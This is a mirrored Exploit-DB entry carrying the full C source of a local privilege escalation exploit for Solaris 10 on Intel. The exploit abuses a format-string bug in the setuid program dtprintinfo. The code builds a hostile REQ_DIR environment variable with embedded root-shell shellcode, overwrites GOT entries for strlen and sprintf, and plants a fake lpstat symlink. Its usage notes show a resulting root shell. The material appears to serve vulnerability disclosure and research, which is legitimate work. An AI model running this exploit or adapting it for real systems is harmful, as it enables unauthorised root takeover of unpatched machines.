Solaris 10 (Intel) – ‘dtprintinfo’ Local Privilege Escalation (3)

  • 作者: Marco Ivaldi
    日期: 2021-02-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49515/
  • # Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)
    # Date: 2021-02-01
    # Exploit Author: Marco Ivaldi
    # Vendor Homepage: https://www.oracle.com/solaris/solaris10/
    # Version: Solaris 10
    # Tested on: Solaris 10 1/13 Intel
    
    /*
     * raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE
     * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
     *
     * "I'm gonna have to go into hardcore hacking mode!" -- Hackerman
     * https://youtu.be/KEkrWRHCDQU
     *
     * Same code snippet, different vulnerability. 20 years later, format string
     * bugs are not extinct after all! The vulnerable function looks like this:
     *
     * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...)
     * {
     * ...
     * 	char local_724 [300];
     * ...
     * 	else {
     * 		__format = getenv("REQ_DIR");
     * 		sprintf(local_724,__format,param_2); // [1]
     * 	}
     * ...
     * 	local_c = strlen(local_724); // [2]
     * 	sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3]
     * ...
     * }
     *
     * The plan (inspired by an old technique devised by gera) is to exploit the 
     * sprintf at [1], where we control the format string, to replace the strlen 
     * at [2] with a strdup and the sprintf at [3] with a call to the shellcode
     * dynamically allocated in the heap by strdup and pointed to by the local_c 
     * variable at [2]. In practice, to pull this off the structure of the evil 
     * environment variable REQ_DIR must be:
     * [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)]
     *
     * To collect the needed addresses for your system, use:
     * $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got
     * 080994cc R_386_JUMP_SLOT strlen
     * $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got
     * 080994e4 R_386_JUMP_SLOT sprintf
     * $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt
     * 0805df20 F *UND*00000000 strdup
     * $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text
     * 08067f52: ff 55 f8call *-0x8(%ebp)
     *
     * This bug was likely fixed during the general cleanup of CDE code done by
     * Oracle in response to my recently reported vulnerabilities. However, I can't
     * confirm this because I have no access to their patches:/
     *
     * See also:
     * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
     * raptor_dtprintcheckdir_sparc.c (just a proof of concept)
     * raptor_dtprintcheckdir_sparc2.c (the real deal)
     *
     * Usage:
     * $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall
     * [on your xserver: disable the access control]
     * $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0
     * [on your xserver: double click on the fake "fnord" printer]
     * [...]
     * # id
     * uid=0(root) gid=1(other)
     * #
     *
     * Tested on:
     * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
     * [previous Solaris versions are also likely vulnerable]
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <strings.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <sys/systeminfo.h>
    
    #define INFO1	"raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE"
    #define INFO2	"Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
    
    #define	VULN		"/usr/dt/bin/dtprintinfo"	// vulnerable program
    #define	BUFSIZE		300				// size of evil env var
    #define	STACKPOPSEQ	"%.8x"				// stackpop sequence
    #define	STACKPOPS	14				// number of stackpops
    
    /* replace with valid addresses for your system */
    #define STRLEN		0x080994cc			// .got strlen address
    #define	SPRINTF		0x080994e4			// .got sprintf address
    #define STRDUP		0x0805df20			// .plt strdup address
    #define	RET		0x08067f52			// call *-0x8(%ebp) address
    
    /* split an address in 4 bytes */
    #define SPLITB(b1, b2, b3, b4, addr) {	\
    	b1 = (addr & 0x000000ff);	\
    	b2 = (addr & 0x0000ff00) >> 8;	\
    	b3 = (addr & 0x00ff0000) >> 16;	\
    	b4 = (addr & 0xff000000) >> 24;	\
    }
    
    char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
    /* double setuid() */
    "\x31\xc0\x50\x50\xb0\x17\xcd\x91"
    "\x31\xc0\x50\x50\xb0\x17\xcd\x91"
    /* execve() */
    "\x31\xc0\x50\x68/ksh\x68/bin"
    "\x89\xe3\x50\x53\x89\xe2\x50"
    "\x52\x53\xb0\x3b\x50\xcd\x91";
    
    /* globals */
    char	*arg[2] = {"foo", NULL};
    char	*env[256];
    int	env_pos = 0, env_len = 0;
    
    /* prototypes */
    int	add_env(char *string);
    
    /*
     * main()
     */
    int main(int argc, char **argv)
    {
    	char		buf[BUFSIZE], *p = buf;
    	char		platform[256], release[256], display[256];
    
    	int		i, stackpops = STACKPOPS;
    	unsigned	base, n1, n2, n3, n4, n5, n6, n7, n8;
    	unsigned char	strdup1, strdup2, strdup3, strdup4;
    	unsigned char	ret1, ret2, ret3, ret4;
    
    	int		strlen_got = STRLEN;
    	int		sprintf_got = SPRINTF;
    	int		strdup_plt = STRDUP;
    	int		ret = RET;
    
    	/* lpstat code to add a fake printer */
    	if (!strcmp(argv[0], "lpstat")) {
    
    		/* check command line */
    		if (argc != 2)
    			exit(1);
    
    		/* print the expected output and exit */
    		if(!strcmp(argv[1], "-v")) {
    			fprintf(stderr, "lpstat called with -v\n");
    			printf("device for fnord: /dev/null\n");
    		} else {
    			fprintf(stderr, "lpstat called with -d\n");
    			printf("system default destination: fnord\n");
    		}
    		exit(0);
    	}
    
    	/* print exploit information */
    	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
    
    	/* process command line */
    	if (argc != 2) {
    		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
    		exit(1);
    	}
    	sprintf(display, "DISPLAY=%s", argv[1]);
    
    	/* evil env var: name + shellcode + padding */
    	bzero(buf, BUFSIZE);
    	sprintf(buf, "REQ_DIR=%s#", sc);
    	p += strlen(buf);
    
    	/* format string: .got strlen address */
    	*((void **)p) = (void *)(strlen_got); p += 4;
    	memset(p, 'A', 4); p += 4; /* dummy */
    	*((void **)p) = (void *)(strlen_got + 1); p += 4;
    	memset(p, 'A', 4); p += 4; /* dummy */
    	*((void **)p) = (void *)(strlen_got + 2); p += 4;
    	memset(p, 'A', 4); p += 4; /* dummy */
    	*((void **)p) = (void *)(strlen_got + 3); p += 4;
    	memset(p, 'A', 4); p += 4; /* dummy */
    
    	/* format string: .got sprintf address */
    	*((void **)p) = (void *)(sprintf_got); p += 4;
    	memset(p, 'A', 4); p += 4; /* dummy */
    	*((void **)p) = (void *)(sprintf_got + 1); p += 4;
    	memset(p, 'A', 4); p += 4; /* dummy */
    	*((void **)p) = (void *)(sprintf_got + 2); p += 4;
    	memset(p, 'A', 4); p += 4; /* dummy */
    	*((void **)p) = (void *)(sprintf_got + 3); p += 4;
    
    	/* format string: stackpop sequence */
    	base = strlen(buf) - strlen("REQ_DIR=");
    	for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
    		strcat(p, STACKPOPSEQ);
    
    	/* calculate numeric arguments for .plt strdup address */
    	SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt);
    	n1 = (strdup1 - base)					% 0x100;
    	n2 = (strdup2 - base - n1)				% 0x100;
    	n3 = (strdup3 - base - n1 - n2)				% 0x100;
    	n4 = (strdup4 - base - n1 - n2 - n3)			% 0x100;
    
    	/* calculate numeric arguments for call *-0x8(%ebp) address */
    	SPLITB(ret1, ret2, ret3, ret4, ret);
    	n5 = (ret1 - base - n1 - n2 - n3 - n4)			% 0x100;
    	n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5)		% 0x100;
    	n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6)	% 0x100;
    	n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7)	% 0x100;
    
    	/* check for potentially dangerous numeric arguments below 10 */
    	n1 += (n1 < 10) ? (0x100) : (0);
    	n2 += (n2 < 10) ? (0x100) : (0);
    	n3 += (n3 < 10) ? (0x100) : (0);
    	n4 += (n4 < 10) ? (0x100) : (0);
    	n5 += (n5 < 10) ? (0x100) : (0);
    	n6 += (n6 < 10) ? (0x100) : (0);
    	n7 += (n7 < 10) ? (0x100) : (0);
    	n8 += (n8 < 10) ? (0x100) : (0);
    
    	/* format string: write string */
    	sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8);
    
    	/* fill the envp, keeping padding */
    	add_env(buf);
    	add_env(display);
    	add_env("TMP_DIR=/tmp");
    	add_env("PATH=.:/usr/bin");
    	add_env("HOME=/tmp");
    	add_env(NULL);
    
    	/* we need at least one directory inside TMP_DIR to trigger the bug */
    	mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
    
    	/* create a symlink for the fake lpstat */
    	unlink("lpstat");
    	symlink(argv[0], "lpstat");
    
    	/* print some output */
    	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
    	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
    	fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release);
    	fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got);
    	fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got);
    	fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt);
    	fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret);
    
    	/* run the vulnerable program */
    	execve(VULN, arg, env);
    	perror("execve");
    	exit(1);
    }
    
    /*
     * add_env(): add a variable to envp and pad if needed
     */
    int add_env(char *string)
    {
    	int	i;
    
    	/* null termination */
    	if (!string) {
    		env[env_pos] = NULL;
    		return env_len;
    	}
    
    	/* add the variable to envp */
    	env[env_pos] = string;
    	env_len += strlen(string) + 1;
    	env_pos++;
    
    	/* pad the envp using zeroes */
    	if ((strlen(string) + 1) % 4)
    		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
    			env[env_pos] = string + strlen(string);
    			env_len++;
    		}
    
    	return env_len;
    }